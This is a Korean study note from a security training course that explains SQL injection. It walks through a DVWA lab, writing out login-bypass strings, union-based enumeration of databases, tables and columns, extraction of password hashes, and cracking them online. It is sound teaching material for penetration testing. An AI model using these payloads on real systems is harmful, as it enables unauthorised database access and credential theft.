[SK shieldus Rookies 23기] 공부 노트/취약점 진단 도구 및 활용법

실무 환경에서의 주요 취약점_SQL Injection

Noody 2024. 12. 17. 17:56

 

SQL Injection

(실제로 터지는 경우는 거의 없다고 보면 됨_크리티컬해서 막힌 경우가 대부분)

 

- 데이터베이스의 Query를 통해 DB에 저장된 데이터를 추출하는 공격 기법

- 이해해야 할 개념 3가지

  ㄴ DATABASE : 아파트 이름 > 데이터가 저장된 저장소 통칭(전체)

      ex) information_schema 라고 하는 DB 존재, DB 생성부터 만들어짐 (Default)

  ㄴ TABLE : 아파트의 호수 > 데이터베이스에 저장된 개별(특정영역) 저장공간

      ex) information_schemna에는 TABLE 정보와 Column 정보를 저장함

  ㄴ Column : 사물이름 > 특징 : 더이상 분할 할 수 없음, 개체를 묶어서 부르는 이름

                      같은 테이블 안에 같은 컬럼명 사용 불가(중복불가)

- SQLi(SQL Injection 줄임말)은 크게 2가지 방식으로 취약성 여부 확인

 Check : 내가 진단하는 대상이 DB를 사용하는지 판단할 것

  >> 로그인 과정이 있는지, 회원가입이 있는지, 게시판 글쓰기(공지사항)가 있는지, 사이트 내 검색 기능이 있는지

  ㄴ 이 중에 하나라도 있으면 해당 사이트는 데이터베이스를 쓰고 있음! (그렇다면 SQLi 테스트해 볼 수 있다.)

 

 

1) Login Form을 통한 취약성 테스트

    Query : select id, pw from user where id='admin' and pw='password';

              ㄴ select : 검색(DB로부터)

              ㄴ from : DB로부터 TALBE 지정(영역 지정)

              ㄴ where : 조건, id와 and 조건, pw

                   and는 모두 참일 경우 반환, or는 둘 중 하나 참

              ㄴ 'or 1=1# 또는 'or 1=1--을 사용해서 테스트

  2) 게시판 검색을 통한 취약성 테스트

   Query : select id,subject,body from board where subject='test';

              ㄴ where subject='test'or 1=1#';

              ㄴ hhtp://dvwa/search?subject=test;or 1=1# >> 입력하여 취약성 테스트(Header영역)

               검색을 수행할 때 URL 구조 뿐만 아니라 HTTP BODY를 통해서도 수행됨

              ㄴ SQLi 정말 간편한 진단 방법 : 정상적인 데이터 입력 후 SingleQuote(')를 하나만 찍어봐도 알 수 있음

                  ex) id form : admin' 식으로 입력

              ㄴ SQLi은 주석을 통해 쿼리를 우회하는 방식을 사용

               SQL에서 주석을 나타내는 문자열 : #(Mysql), --(Oracle, MS-SQL, SQLITE3) 총 2가지 타입이 존재


실습

 

1. dvwa - SQL Injection(low) 탭으로 이동

2. 검색 폼(user ID)에서 admin 검색 -> 반응 없음

    숫자 1 넣기 -> 반응 있음

    => 아 USER ID는 숫자구나!를 알 수 있음

    => 숫자를 계속 넣어보면 5번까지만 정보가 뜸 (0~5) 

         (but 데이터가 몇개 있는지가 크게 중요한 것은 아니다.)

 

3. User ID : 에 1' 찍어보기 > submit

    => 에러 발생

4. 1''를 넣어보면 에러가 뜨지 않음 (에러 문구에서 왜 가능한지 확인 가능)

    => SQLi 취약점이 있음

 

5. 취약점 확인했으므로 데이터 추출하기

> User ID에 1'or 1=1# 입력

> submit

> 쿼리가 인식되어 테이블 전체 정보가 나옴(5개)

 

6. 쿼리를 이용해 여러 정보 추출

 0) 사용 중인 Column 갯수 파악 필요

 ㄴ 'order by 1#         1-> 입력컬럼, 1개라는 뜻

 ㄴ 'union select 1#    2-> 입력컬럼 2개라는 뜻 아님, 컬럼이 1개라는 뜻 (숫자는 그냥 임의다)

 ㄴ 'union select 1,2#    -> 컬럼갯수가 2개인지 확인

 ㄴ 'union select 1,1,1#  -> 컬럼갯수가 3개인지 확인 (숫자는 의미가 없다는 것을 알 수 있다.)

각 쿼리를 컬럼 갯수 조정해 입력 후 인식이 되는지 파악

 

 1) 버전 정보

 ㄴ 'union select @@version, 1#

  버전 정보 확인됨

 

 2) DB name

 ㄴ 'union select schema_name,1 from information_schema.schemata #    (숫자는 컬럼 갯수 맞추기 위해 넣음)

  DB 이름 확인됨

  information_schema는 디폴트 DB고, dvwa DB name 사용

 

 3) Table name

 ㄴ 'union select table_name,1 from information_schema.tables where table_schema='dvwa' #

  table 이름 확인됨 (guestbook, users)

 

 4) Column name

 ㄴ 'union select column_name,1 from information_schema.tables where table_name='users' #

  users라는 테이블 네임으로부터 컬럼 확인됨 (눈여겨 봐야할 부분 user와 password 부분)

 

 5) PW Check

 ㄴ 'union select user,password from users #

  위 쿼리 입력시 나옴

  >> pw hash로 출력됨

  hash가 가지는 성질 : 입력값에 대한 교유 hash 값을 가짐(해시는 중복되지 않음)

                                    동일한 입력 값에 대해서는 동일한 해시가 출력됨

                                    이미 알려진 해시 값에 대해 역으로 그 해시에 해당하는 평문을 구할 수 있음

-------------> crackstation.net 에서 해시값 넣기 > crack Hashes > Result 값 나옴(복호화)

 


 

dvwa - medium도 해보기

> 입력창이 없으므로 패킷을 잡아야함

>  패킷 전송 후 id 파라미터 확인

> ctrl+R (Repeater로 보내기)

> id=1' 찍어보기 (싱글쿼터 찍어보기)

   -> response에 에러 메세지 확인

   -> \' 평문을 받아들이겠다.

> id=1' or 1=1 #으로 해보기

   -> 똑같이 에러뜸(인식 안되는구나)

> id=1 or 1=1 # 으로 해보기

   -> 에러 발생안됨 (86번줄쯤 출력 확인됨)

> ' 싱글쿼터가 문제가 됬으니 싱글쿼터만 사용하지 않고 다른 것도 해보자

 


 

high 레벨도 해보기

> 바로 소스코드 확인

> burpsuite는 패킷 잡아서 코드를 보면 reload되므로 패킷으로 점검X